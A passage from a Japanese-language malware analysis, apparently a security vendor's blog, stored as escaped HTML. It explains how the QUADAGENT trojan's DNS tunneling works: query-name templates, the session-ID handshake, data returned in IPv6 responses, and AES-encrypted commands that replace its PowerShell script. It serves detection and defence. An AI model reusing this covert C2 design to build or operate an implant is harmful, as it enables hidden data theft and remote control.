2\u30c9\u30ec\u30b9\u306e\u6700\u5f8c\u306e2\u3064\u306e16\u9032\u6570\u5185\u3067\u30ab\u30a6\u30f3\u30c8\u5024\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u56f331\u306f\u3001QUADAGENT\u304c\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3057\u3001\u5f8c\u306b\u7d9a\u304f\u30af\u30a8\u30ea\u3067\u30b7\u30b9\u30c6\u30e0\u56fa\u6709\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002C2\u30ec\u30b9\u30dd\u30f3\u30b9\u306f\u3001\u6700\u5f8c\u306e2\u3064\u306e\u30d8\u30af\u30b9\u30c6\u30c3\u30c8\u3068\u3057\u3066\"2\"\u3092\u6301\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u76ee\u7684\u306e\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306b\u30af\u30a8\u30ea\u30922\u56de\u767a\u884c\u3059\u308b\u3088\u3046\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101515\" aria-describedby=\"caption-attachment-101515\" style=\"width: 977px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101515 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-238.png\" alt=\"\u56f331 Wireshark\u3067QUADAGENT\u3068\u305d\u306eC2\u306e\u9593\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u306e\u9001\u53d7\u4fe1\u3092\u8868\u793a\u3057\u305f\u3068\u3053\u308d\" width=\"977\" height=\"112\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-238.png 977w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-238-300x34.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-238-768x88.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-238-900x103.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-238-370x42.png 370w\" sizes=\"(max-width: 977px) 100vw, 977px\" \/><figcaption id=\"caption-attachment-101515\" class=\"wp-caption-text\">\u56f331 Wireshark\u3067QUADAGENT\u3068\u305d\u306eC2\u306e\u9593\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u306e\u9001\u53d7\u4fe1\u3092\u8868\u793a\u3057\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<p>\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001QUADAGENT\u306fC2\u30c9\u30e1\u30a4\u30f3\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306eDNS\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u306f\"www\"\u3067\u59cb\u307e\u308a\u3001\u305d\u306e\u3059\u3050\u5f8c\u308d\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u73fe\u5728\u6c42\u3081\u3066\u3044\u308b\u30c7\u30fc\u30bf\u30c1\u30e3\u30f3\u30af\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u304c\u7d9a\u304d\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u56f331\u306eC2\u304c\u63d0\u4f9b\u3059\u308b\u30ab\u30a6\u30f3\u30c8\u5024\u306b\u9054\u3059\u308b\u307e\u3067\u3001\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">www&lt;sequence number&gt;.&lt;random number between 100000 and 999999&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>\u30c7\u30fc\u30bf\u306e\u53d6\u5f97\u5f8c\u3001QUADAGENT\u306f\u6b21\u306e\u3088\u3046\u306b\u69cb\u6210\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001C2\u30b5\u30fc\u30d0\u30fc\u306b\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3057\u305f\u3053\u3068\u3092\u901a\u77e5\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">www.&lt;random number between 100000 and 999999&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>\u56f332\u306f\u3001\u5897\u52a0\u3059\u308b\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u4f7f\u7528\u3057\u3066DNS\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u884c\u3059\u308bQUADAGENT\u3068\u3001IPv6\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u3067\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u9375\u3092\u63d0\u4f9b\u3059\u308bC2\u306e\u901a\u4fe1\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306b\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304cC2\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3057\u3066\u30c7\u30fc\u30bf\u3092\u6b63\u5e38\u306b\u53d7\u4fe1\u3057\u305f\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308b\u69d8\u5b50\u3082\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101517\" aria-describedby=\"caption-attachment-101517\" style=\"width: 968px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101517 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-239.png\" alt=\"\u56f332 Wireshark\u3067QUADAGENT\u304cC2\u304b\u3089\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u9375\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u8868\u793a\u3057\u305f\u3068\u3053\u308d\" width=\"968\" height=\"135\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-239.png 968w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-239-300x42.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-239-768x107.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-239-900x126.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-239-370x52.png 370w\" sizes=\"(max-width: 968px) 100vw, 968px\" \/><figcaption id=\"caption-attachment-101517\" class=\"wp-caption-text\">\u56f332 Wireshark\u3067QUADAGENT\u304cC2\u304b\u3089\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u9375\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u8868\u793a\u3057\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<p>\u305d\u306e\u5f8cQUADAGENT\u306f\u3001\u65b0\u3057\u304f\u53d6\u5f97\u3057\u305f\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u4e00\u9023\u306e\u30af\u30a8\u30ea\u3067\u4f7f\u7528\u3057\u3001\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u3092\u7d42\u4e86\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u5f8c\u306e\u901a\u4fe1\u3067C2\u306b\u30c7\u30fc\u30bf\u3092\u6f0f\u51fa\u3055\u305b\u308b\u305f\u3081\u306b\u3053\u308c\u3068\u4f3c\u305f\u4e00\u9023\u306e\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u307e\u3059\u304c\u3001\u901a\u4fe1\u306e\u3053\u306e\u6642\u70b9\u3067\u306fQUADAGENT\u306f\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092C2\u306b\u30a8\u30b3\u30fc\u30d0\u30c3\u30af\u3059\u308b\u305f\u3081\u306b\u3060\u3051\u4f7f\u3063\u3066\u3044\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308b\u305f\u3081\u3001\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308bDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u3053\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u958b\u59cb\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">ns1.&lt;new random number between 100000 and 999999&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>QUADAGENT\u306f\u5148\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u5bfe\u3057\u3066\u4f55\u3082\u3057\u307e\u305b\u3093\u3002\u304b\u308f\u308a\u306b\u3059\u3050\u306b\u4ee5\u4e0b\u306e\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u4e8b\u5b9f\u4e0a\u3001C2\u306b\u30bb\u30c3\u30b7\u30e7\u30f3ID\u5024\u3092\u9001\u4fe1\u3057\u3066\u3044\u307e\u3059:<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;session id&gt;.&lt;same random number between 100000 and 999999&gt;.&lt;c2 domain name&gt;<\/span><\/p>\n<p>\u3053\u3053\u3067\u3082\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u4e0a\u8a18\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u7121\u8996\u3057\u307e\u3059\u3002\u3053\u306e\u6642\u70b9\u3067\u3001QUADAGENT\u304cC2\u3078\u306e\u30c7\u30fc\u30bf\u3092\u6301\u3063\u3066\u3044\u308c\u3070\u3001\u30c7\u30fc\u30bf\u3092\u6697\u53f7\u5316\u3057\u3001\u6697\u53f7\u5316\u3057\u305f\u30c7\u30fc\u30bf\u3092\u3055\u3089\u306bbase64\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u307e\u3059\u3002\u3053\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u306b\u306f\u3001\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u5185\u3067\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3059\u308b\u30ab\u30b9\u30bf\u30e0base64\u95a2\u6570\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u6700\u521d\u306e\u90e8\u5206\u3068\u3057\u306660\u6587\u5b57\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u6697\u53f7\u6587\u3092\u542b\u3080\u4e00\u9023\u306e\u30af\u30a8\u30ea\u5185\u3067\u3001\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u30c7\u30fc\u30bf\u9001\u4fe1\u304c\u5b8c\u4e86\u3059\u308b\u3068\u3001QUADAGENT\u306f\u6700\u5f8c\u306e1\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3068\u3057\u3066\"ns2\"\u3092\u4f7f\u7528\u3057\u3066\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3057\u3001\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u304c\u5b8c\u4e86\u3057\u305f\u3053\u3068\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u901a\u77e5\u3057\u307e\u3059\u3002\u901a\u4fe1\u306e\u3053\u306e\u6642\u70b9\u3067\u306f\u3001QUADAGENT\u306fC2\u306b\u9001\u4fe1\u3059\u308b\u30c7\u30fc\u30bf\u3092\u6301\u3063\u3066\u3044\u307e\u305b\u3093\u3002\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u30a8\u30b3\u30fc\u3059\u308b\u3060\u3051\u306a\u306e\u3067\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u6b21\u306e\u3088\u3046\u306b\u69cb\u6210\u3055\u308c\u305f\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">ns2.&lt;same random number between 100000 and 999999&gt;.&lt;c2 domain name&gt;<\/span><\/p>\n<p>\u56f333\u306f\u3001\u63d0\u4f9b\u3055\u308c\u305f\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3059\u308bQUADAGENT\u306e\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101519\" aria-describedby=\"caption-attachment-101519\" style=\"width: 977px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101519 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-240.png\" alt=\"\u56f333 Wireshark\u3067QUADAGENT\u304c\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092C2\u306b\u30a8\u30b3\u30fc\u30d0\u30c3\u30af\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u305f\u3068\u3053\u308d\" width=\"977\" height=\"139\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-240.png 977w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-240-300x43.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-240-768x109.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-240-900x128.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-240-370x53.png 370w\" sizes=\"(max-width: 977px) 100vw, 977px\" \/><figcaption id=\"caption-attachment-101519\" class=\"wp-caption-text\">\u56f333 Wireshark\u3067QUADAGENT\u304c\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092C2\u306b\u30a8\u30b3\u30fc\u30d0\u30c3\u30af\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<p>DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30c1\u30e3\u30cd\u30eb\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u3001C2\u30b5\u30fc\u30d0\u306fIPv6\u30a2\u30c9\u30ec\u30b9\u3067\u524d\u306e\u30af\u30a8\u30ea\u306b\u5fdc\u7b54\u3057\u307e\u3059\u3002\u3053\u306eIPv6\u30a2\u30c9\u30ec\u30b9\u306b\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u767a\u884c\u3059\u3079\u304dDNS\u30af\u30a8\u30ea\u6570\u304c\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u305d\u308c\u306b\u57fa\u3065\u3044\u3066\u3001\u5f8c\u7d9a\u306eIPv6\u30ec\u30b9\u30dd\u30f3\u30b9\u304b\u3089\u30c7\u30fc\u30bf\u5168\u4f53\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u5148\u306b\u8aac\u660e\u3057\u305fC2\u30b5\u30fc\u30d0\u30fc\u304c\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u9375\u3092\u63d0\u4f9b\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3068\u540c\u3058\u30d7\u30ed\u30bb\u30b9\u3067\u3059\u3002\u524d\u8ff0\u306e\u30c7\u30fc\u30bf\u8ee2\u9001\u65b9\u6cd5\u540c\u69d8\u306b\u3001QUADAGENT\u306f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\"www&lt;sequence number&gt;\"\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306bDNS\u8981\u6c42\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u3053\u3067\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u306f\u3001\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3059\u308b\u307e\u3067\u5897\u52a0\u3057\u3066\u3044\u304d\u307e\u3059\u3002\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3059\u308b\u3068\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\"www.\"\u3092\u89e3\u6c7a\u3059\u308b\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3057\u305f\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3057\u307e\u3059\u3002<\/p>\n<p>C2\u306f\u3053\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3057\u3001\u30d1\u30a4\u30d7\u533a\u5207\u308a(\"|\")\u306e\u30c7\u30fc\u30bf\u304c\u3064\u3044\u305f\"ns2.\"\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u30af\u30a8\u30ea\u3067\u5fdc\u7b54\u3057\u307e\u3059\u3002\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u3092QUADAGENT\u306f\u30d1\u30fc\u30b9\u3057\u3001\u63d0\u4f9b\u3055\u308c\u305f\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u5fdc\u3058\u30662\u3064\u306e\u65b9\u6cd5\u306e\u3044\u305a\u308c\u304b1\u3064\u3092\u4f7f\u3063\u3066\u51e6\u7406\u3057\u307e\u3059\u3002\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u30012\u7a2e\u985e\u306e\u30c7\u30fc\u30bf\u3092\u30d1\u30fc\u30b9\u3057\u3001\u305d\u308c\u3089\u3092\u6b21\u306e\u3088\u3046\u306b\u6271\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u65b0\u3057\u3044\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u30ad\u30fc<\/li>\n<li>\u73fe\u5728\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u65b0\u3057\u3044PowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u4e0a\u66f8\u304d\u3057\u3066\u5b9f\u884c\u3059\u308b\u30b3\u30de\u30f3\u30c9<\/li>\n<\/ul>\n<p>1\u3064\u76ee\u306e\u65b9\u6cd5\u3067C2\u306f\u3001QUADAGENT\u304c\u65b0\u3057\u3044\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u30ad\u30fc\u3068\u3057\u3066\u6271\u3046\u7279\u5b9a\u306e\u69cb\u9020\u3092\u3082\u3064\u30c7\u30fc\u30bf\u3092\u63d0\u4f9b\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u3059\u3002\u6700\u521d\u306e\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u540c\u69d8\u3001QUADAGENT\u306f\u3053\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u30ad\u30fc\u3092\u30ec\u30b8\u30b9\u30c8\u30ea\u306b\u4fdd\u5b58\u3059\u308b\u306e\u3067\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u81ea\u8eab\u3092\u5b9f\u884c\u3059\u308b\u305f\u3073\u306b\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u3092\u884c\u3046\u5fc5\u8981\u306f\u3042\u308a\u307e\u305b\u3093\u3002C2\u306f\u69cb\u9020\u4f53\u306b\u7d9a\u304f\u6587\u5b57\u5217\u3092\u4f5c\u6210\u3057\u3001\"www&lt;sequence number&gt;\"\u3068\u3044\u3046\u30af\u30a8\u30ea\u30b7\u30fc\u30b1\u30f3\u30b9\u5185\u306eIPv6\u30a2\u30c9\u30ec\u30b9\u3092\u4ecb\u3057\u3066\u5e73\u6587\u3068\u3057\u3066QUADAGENT\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;session identifier&gt;|&lt;length of pre-shared key&gt;|&lt;pre-shared key&gt;<\/span><\/p>\n<p>2\u3064\u76ee\u306e\u65b9\u6cd5\u3067C2\u306f\u3001QUADAGENT\u306b\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u6271\u308f\u305b\u308b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002QUADAGENT\u306f\u3053\u306e\u30c7\u30fc\u30bf\u3092\u30d1\u30fc\u30b9\u3057\u3001\u73fe\u5728\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u65b0\u3057\u3044PowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u4e0a\u66f8\u304d\u3059\u308b\u305f\u3081\u306e\u30c7\u30fc\u30bf\u3092\u63a2\u3057\u307e\u3059\u3002C2\u306f\u3053\u306e\u30c7\u30fc\u30bf\u3092\u30d1\u30a4\u30d7(\"|\")\u533a\u5207\u308a\u306e\u6587\u5b57\u5217\u3092\u4f5c\u6210\u3057\u3066\u63d0\u4f9b\u3057\u307e\u3059\u3002\u3053\u306e\u6587\u5b57\u5217\u306f\u30011\u756a\u76ee\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u7a7a\u6587\u5b57\u5217\u30012\u756a\u76ee\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u6697\u53f7\u6587\u306e\u9577\u3055\u30013\u756a\u76ee\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u304c16\u30d0\u30a4\u30c8\u306e\u521d\u671f\u5316\u30d9\u30af\u30c8\u30eb(IV)\u3067\u59cb\u307e\u308a\u76f4\u5f8c\u306b\u524d\u8ff0\u306eIV\u3068\u4e8b\u524d\u5171\u6709\u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066AES\u3067\u6697\u53f7\u5316\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u7d9a\u3051\u305f\u3082\u306e\u3067\u3059\u3002\u3053\u306e\u30c7\u30fc\u30bf\u306f\"www&lt;sequence number&gt;\"\u30af\u30a8\u30ea\u3092\u4ecb\u3057\u3066\u6b21\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u3067\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">|&lt;length of encrypted data&gt;|&lt;AES IV&gt;&lt;Data encrypted with AES and pre-shared key&gt;<\/span><\/p>\n<p>\u56f334\u306f\u3001\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u30815\u56deDNS\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u51fa\u3059\u3088\u3046\u306bQUADAGENT\u306b\u6307\u793a\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u306e\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002QUADAGENT\u306f\u3053\u308c\u3089\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001\u5404\u30af\u30a8\u30ea\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u5897\u3084\u3057\u307e\u3059\u3002C2\u30b5\u30fc\u30d0\u30fc\u306f\u3001\u30c7\u30fc\u30bf\u306e\u9577\u3055\u300116\u30d0\u30a4\u30c8\u306eAES\u521d\u671f\u5316\u30d9\u30af\u30c8\u30eb\u3001\u4e8b\u524d\u5171\u6709\u9375\u3092\u4f7f\u7528\u3057\u3066AES\u3067\u6697\u53f7\u5316\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u4f7f\u7528\u3057\u3066\u3001\u3053\u308c\u3089\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101521\" aria-describedby=\"caption-attachment-101521\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101521 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-241.png\" alt=\"\u56f334 Wireshark\u3067C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30b3\u30de\u30f3\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308bQUADAGENT\u3092\u8868\u793a\u3057\u305f\u3068\u3053\u308d\" width=\"970\" height=\"233\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-241.png 970w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-241-300x72.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-241-768x184.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-241-900x216.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-241-370x89.png 370w\" sizes=\"(max-width: 970px) 100vw, 970px\" \/><figcaption id=\"caption-attachment-101521\" class=\"wp-caption-text\">\u56f334 Wireshark\u3067C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30b3\u30de\u30f3\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308bQUADAGENT\u3092\u8868\u793a\u3057\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<p>QUADAGENT\u306f\u3001\u63d0\u4f9b\u3055\u308c\u305fIV\u3068\u4ee5\u524d\u306b\u63d0\u4f9b\u3055\u308c\u305f\u4e8b\u524d\u5171\u6709\u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3001AES\u3092\u4f7f\u7528\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u5fa9\u53f7\u5316\u3057\u307e\u3059\u3002QUADAGENT\u306f\u3001\u6b21\u306e\u69cb\u9020\u306b\u57fa\u3065\u3044\u3066\u5fa9\u53f7\u3057\u305f\u30c7\u30fc\u30bf\u3092\u30d1\u30fc\u30b9\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">hello&lt;char uuid[35]&gt;&lt;char 